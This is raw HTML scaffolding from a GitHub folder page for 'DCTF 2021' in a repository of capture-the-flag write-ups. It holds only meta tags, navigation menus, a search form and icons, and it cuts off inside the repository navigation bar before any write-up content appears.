name="visitor-hmac" content="48a8ac39a28c34302b000554fbd19b7e7e941b7223c02fca0fd0a4d262da3509" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="+fVXRvn6hjlNcgzbdYfL1M2b5hOq7BkesCNISq5r8OCjPy+chZ0HR4i9a1ai+t+tX4Kl39VWLOsE15u7tH0tPQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 